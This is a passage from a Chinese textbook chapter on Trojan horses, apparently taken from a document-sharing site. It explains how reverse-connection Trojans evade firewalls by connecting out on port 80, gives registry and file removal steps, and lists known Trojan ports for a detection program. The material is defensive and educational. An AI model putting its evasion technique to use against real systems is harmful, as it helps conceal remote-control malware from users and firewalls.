這是反彈端口型木馬的典型代表。大多數(shù)的防火墻對(duì)于由外面連入本機(jī)的連接往往會(huì)進(jìn)行非常嚴(yán)格的過(guò)濾,但是對(duì)于由本機(jī)連出的連接卻疏于防范(當(dāng)然也有的防火墻兩方面都很?chē)?yán)格)。于是,與一般的木馬相反,反彈端口型木馬的服務(wù)端(被控制端)使用主動(dòng)端口,客戶(hù)端(控制端)使用被動(dòng)端口,當(dāng)要建立連接時(shí),由客戶(hù)端通過(guò)FTP主頁(yè)空間告訴服務(wù)端:“現(xiàn)在開(kāi)始連接我吧!”,并進(jìn)入監(jiān)聽(tīng)狀態(tài),服務(wù)端收到通知后,就會(huì)開(kāi)始連接客戶(hù)端。為了隱蔽起見(jiàn),客戶(hù)端的監(jiān)聽(tīng)端口一般開(kāi)在80,這樣,即使用戶(hù)使用端口掃描軟件檢查自己的端口,發(fā)現(xiàn)的也是類(lèi)似“TCP服務(wù)端的IP地址:1026客戶(hù)端的IP地址:80ESTABLISHED”的情況,稍微疏忽一點(diǎn)你就會(huì)以為是自己在瀏覽網(wǎng)頁(yè)。防火墻也會(huì)如此認(rèn)為,大概沒(méi)有哪個(gè)防火墻會(huì)不給用戶(hù)向外連接80端口吧。
清除方法:
1.網(wǎng)絡(luò)神偷會(huì)在注冊(cè)表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下建立鍵值“internet”,其值為"internet.exe/s",將鍵值刪除;
2.刪除其自啟動(dòng)程序C:\WINDOWS\SYSTEM\INTERNET.EXE。第六章特洛伊木馬已知木馬病毒的端口列表木馬名稱(chēng)端口木馬名稱(chēng)端口BOjammerkillahV121RemoteGrab7000NukeNabber139NetMonitor7300HackersParadise456NetMonitor1.x7301StealthSpy555NetMonitor2.x7306Phase0555NetMonitor3.x7307NeTadmin555NetMonitor4.x7308SatanzBackdoor666Qaz7597AttackFTP666ICQKiller7789AIMSpy777InCommand9400第六章特洛伊木馬木馬檢測(cè)及清除實(shí)驗(yàn)示例程序利用開(kāi)放主機(jī)端口號(hào)和各個(gè)木馬程序使用端口的對(duì)應(yīng)關(guān)系,判斷主機(jī)是否已中木馬,中了何種木馬(目前能查找一百余種),并能根據(jù)所中木馬的類(lèi)型,對(duì)其中的二十幾種進(jìn)行殺滅。此外,用戶(hù)可自行追加數(shù)據(jù)庫(kù),增加能查找病毒的種類(lèi)。第六章特洛伊木馬開(kāi)始讀取保存開(kāi)放端口文件,判斷中何木馬是否能打開(kāi)木馬數(shù)據(jù)庫(kù)文件No
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2019-2025年中國(guó)羊毛紗行業(yè)市場(chǎng)調(diào)研分析及投資戰(zhàn)略咨詢(xún)報(bào)告
- 高一學(xué)生學(xué)習(xí)計(jì)劃15篇
- 一年級(jí)語(yǔ)文拼音教案
- 我的學(xué)習(xí)計(jì)劃15篇
- 《童年》讀后感(匯編15篇)
- 小班戶(hù)外活動(dòng)親子踩墊子游戲教案
- 初一政治教學(xué)計(jì)劃范文集錦六篇
- 公司年會(huì)活動(dòng)方案模板錦集六篇
- 乒乓球比賽作文300字集合10篇
- 冀教版四年級(jí)科學(xué)上冊(cè)第一單元《物體的運(yùn)動(dòng)》教案
- 蘇科版九年級(jí)物理上冊(cè)教案:11.5機(jī)械效率
- 中醫(yī)內(nèi)科學(xué)智慧樹(shù)知到答案2024年浙江中醫(yī)藥大學(xué)
- DL∕T 2602-2023 電力直流電源系統(tǒng)保護(hù)電器選用與試驗(yàn)導(dǎo)則
- DL∕T 612-2017 電力行業(yè)鍋爐壓力容器安全監(jiān)督規(guī)程
- 車(chē)位轉(zhuǎn)讓協(xié)議使用權(quán)
- 自然資源價(jià)格評(píng)估通則 TD/T 1061-2021
- 新課標(biāo)人教版高中政治必修1-4知識(shí)點(diǎn)總結(jié)
- 社區(qū)居家養(yǎng)老食堂方案策劃書(shū)(2篇)
- 2023-2024學(xué)年浙江省寧波市余姚市九年級(jí)(上)期末英語(yǔ)試卷
- 《金融風(fēng)險(xiǎn)管理》期末復(fù)習(xí)試題及答案
- DZ/T 0462.4-2023 礦產(chǎn)資源“三率”指標(biāo)要求 第4部分:銅等12種有色金屬礦產(chǎn)(正式版)
評(píng)論
0/150
提交評(píng)論